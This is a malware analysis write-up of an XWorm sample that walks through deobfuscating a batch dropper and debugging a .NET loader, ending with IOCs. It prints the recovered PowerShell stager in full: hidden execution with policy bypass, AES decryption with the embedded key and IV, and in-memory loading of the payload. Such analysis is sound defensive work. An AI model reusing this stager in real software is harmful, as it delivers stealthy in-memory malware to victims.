XWorm - Batch Deobfuscation - .NET Loader
This sample starts off with some batch & PowerShell deobfuscation, revealing a .NET loader which we can debug using DnSpy and module breakpoints to reveal the payload.
SHA 256: e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f
Initial Batch Script
This sample starts with an obfuscated batch script which looks like the following:
From the fourth line onward we can see that many set commands are taking place, we also see a lot of commented-out strings which don’t seem to make a lot of sense right now, denoted by the ::
Towards the end of the script, it appears that those variables are being called and executed:
A quick way to make sense of this script is by commenting out the lines that clear the terminal and exit, and adding “echo” commands before the variables are called.
Now if we execute this new script, we get the following:
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "C:\Users\mzheader\Desktop\e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f.bat.exe"
cd "C:\Users\mzheader\Desktop\"
"e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $_CASH_JPyoO = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')
('C:\Users\mzheader\Desktop\e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f.bat').Split([Environment]::NewLine);foreach ($_CASH_ealtD in $_CASH_JPyoO) { if ($_CASH_ealtD.StartsWith(':: @')) { $_CASH_tFaoL = $_CASH_ealtD.Substring(4); break; }; };$_CASH_tFaoL =
[System.Text.RegularExpressions.Regex]::Replace($_CASH_tFaoL, '_CASH_', '');$_CASH_epUJg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_CASH_tFaoL);$_CASH_pFavC = New-Object System.Security.Cryptography.AesManaged;$_CASH_pFavC.Mode = [System.Security.Cryptography.CipherMode]::CBC;$_CASH_pFavC.Padding =
[System.Security.Cryptography.PaddingMode]::PKCS7;$_CASH_pFavC.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GZ+NDDfWJdUL46CgERFNsma8kH1a1NyOqIvOPvKsrWA=');$_CASH_pFavC.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5IgM8xAuhLV8mV1KzrCEvg==');$_CASH_traoF =
$_CASH_pFavC.CreateDecryptor();$_CASH_epUJg = $_CASH_traoF.TransformFinalBlock($_CASH_epUJg, 0, $_CASH_epUJg.Length);$_CASH_traoF.Dispose();$_CASH_pFavC.Dispose();$_CASH_SjOoQ = New-Object System.IO.MemoryStream(, $_CASH_epUJg);$_CASH_DLltN = New-Object System.IO.MemoryStream;$_CASH_VzeZp = New-Object
System.IO.Compression.GZipStream($_CASH_SjOoQ, [IO.Compression.CompressionMode]::Decompress);$_CASH_VzeZp.CopyTo($_CASH_DLltN);$_CASH_VzeZp.Dispose();$_CASH_SjOoQ.Dispose();$_CASH_DLltN.Dispose();$_CASH_epUJg = $_CASH_DLltN.ToArray();$_CASH_JzGOp = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')
($_CASH_epUJg);$_CASH_PUHAS = $_CASH_JzGOp.EntryPoint;$_CASH_PUHAS.Invoke($null, (, [string[]] ('')))
We can make this a bit easier to read by replacing all semi-colons with new lines:
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "C:\Users\mzheader\Desktop\e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f.bat.exe"
cd "C:\Users\mzheader\Desktop\"
"e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $_CASH_JPyoO = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\mzheader\Desktop\e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f.bat').Split([Environment]::NewLine)
foreach ($_CASH_ealtD in $_CASH_JPyoO) { if ($_CASH_ealtD.StartsWith(':: @')) { $_CASH_tFaoL = $_CASH_ealtD.Substring(4)
break
}
}
$_CASH_tFaoL = [System.Text.RegularExpressions.Regex]::Replace($_CASH_tFaoL, '_CASH_', '')
$_CASH_epUJg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_CASH_tFaoL)
$_CASH_pFavC = New-Object System.Security.Cryptography.AesManaged
$_CASH_pFavC.Mode = [System.Security.Cryptography.CipherMode]::CBC
$_CASH_pFavC.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$_CASH_pFavC.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GZ+NDDfWJdUL46CgERFNsma8kH1a1NyOqIvOPvKsrWA=')
$_CASH_pFavC.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5IgM8xAuhLV8mV1KzrCEvg==')
$_CASH_traoF = $_CASH_pFavC.CreateDecryptor()
$_CASH_epUJg = $_CASH_traoF.TransformFinalBlock($_CASH_epUJg, 0, $_CASH_epUJg.Length)
$_CASH_traoF.Dispose()
$_CASH_pFavC.Dispose()
$_CASH_SjOoQ = New-Object System.IO.MemoryStream(, $_CASH_epUJg)
$_CASH_DLltN = New-Object System.IO.MemoryStream
$_CASH_VzeZp = New-Object System.IO.Compression.GZipStream($_CASH_SjOoQ, [IO.Compression.CompressionMode]::Decompress)
$_CASH_VzeZp.CopyTo($_CASH_DLltN)
$_CASH_VzeZp.Dispose()
$_CASH_SjOoQ.Dispose()
$_CASH_DLltN.Dispose()
$_CASH_epUJg = $_CASH_DLltN.ToArray()
$_CASH_JzGOp = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($_CASH_epUJg)
$_CASH_PUHAS = $_CASH_JzGOp.EntryPoint
$_CASH_PUHAS.Invoke($null, (, [string[]] ('')))
Command Line Breakdown:
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "C:\Users\mzheader\Desktop\e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f.bat.exe"
cd "C:\Users\mzheader\Desktop\"
It appears that the script is firstly copying PowerShell and moving it to the same directory & filename as the executed script, changing directory to that directory, and executing the newly copied binary of PowerShell.
"e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $_CASH_JPyoO = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')
('C:\Users\mzheader\Desktop\e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f.bat').Split([Environment]::NewLine)
A command is executed, with the reversed string of “ReadAllText” and it reads the initial batch script.
foreach ($_CASH_ealtD in $_CASH_JPyoO) { if ($_CASH_ealtD.StartsWith(':: @')) { $_CASH_tFaoL = $_CASH_ealtD.Substring(4)
From the initial script, it is looking for instances that start with “:: @” and takes everything from the 4th substring onwards, ie, all the content after the “::@” The result is being saved as variable name “_CASH_tFaoL”
$_CASH_tFaoL = [System.Text.RegularExpressions.Regex]::Replace($_CASH_tFaoL, '_CASH_', '')
The contents of CASH_tFaoL is read, and all instances of “_CASH” are replaced with nothing.
$_CASH_epUJg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_CASH_tFaoL)
The string is decoded from Base64.
$_CASH_pFavC = New-Object System.Security.Cryptography.AesManaged
$_CASH_pFavC.Mode = [System.Security.Cryptography.CipherMode]::CBC
$_CASH_pFavC.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$_CASH_pFavC.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GZ+NDDfWJdUL46CgERFNsma8kH1a1NyOqIvOPvKsrWA=')
$_CASH_pFavC.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5IgM8xAuhLV8mV1KzrCEvg==')
The decoded text is being AES-decrypted with Key “GZ+NDDfWJdUL46CgERFNsma8kH1a1NyOqIvOPvKsrWA=” and IV “5IgM8xAuhLV8mV1KzrCEvg==”.
$_CASH_SjOoQ = New-Object System.IO.MemoryStream(, $_CASH_epUJg)
$_CASH_DLltN = New-Object System.IO.MemoryStream
$_CASH_VzeZp = New-Object System.IO.Compression.GZipStream($_CASH_SjOoQ, [IO.Compression.CompressionMode]::Decompress)
The decrypted text is being decompressed with gunzip.
$_CASH_JzGOp = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($_CASH_epUJg)
$_CASH_PUHAS = $_CASH_JzGOp.EntryPoint
$_CASH_PUHAS.Invoke($null, (, [string[]] ('')))
The contents of which are being loaded/executed in memory.
Now that we know what the script is doing, we’ll search for instances of “::@” in the initial script, perform the operations and we should be left with some form of executable code.
We see our string starting with “::@”, which is a huge blob of text.
We’ll take this blob and throw it in CyberChef with the following operators to decode and decrypt the content as the script does.
We are left with an executable file.
.NET Analysis
Detect It Easy tells us that this is a .NET binary, and it has a fairly interesting entropy level, around mid-way but it remains consistent.
Loading the executable into DnSpy we can see it is heavily obfuscated, but there are references to LoadPE. This, and the level of entropy suggests it’s likely a loader and not our final payload.
Knowing this, we can set a module breakpoint and try to extract anything interesting that is being loaded in memory.
Head to Module Breakpoints and set a breakpoint for * (anything)
Now we begin to debug the executable, taking note of all loaded modules.
As we step through, there is a very interesting module being loaded which we should interrogate further.
We can right-click “Load Module” to decompile it in our current DnSpy session.
This module doesn’t appear to be obfuscated and we can instantly see where the Settings are stored.
Settings:
IOCs:
IPv4: 65.1.224[.]214
SHA 256: E5DAC6F6D2AB4C479C5C3E91064F335DE141C8399BD93F8267E13F134C578C0F
SHA 256: EC7890D7D688DAC4EF8EF6B6E2A832280EA47BF404B851B97CDF7C709C389E65
SHA 256: CBB7FC940A1E9B3DADB1EC625554325B5DD9A95E34A05A0EC6F7206D2128DAB9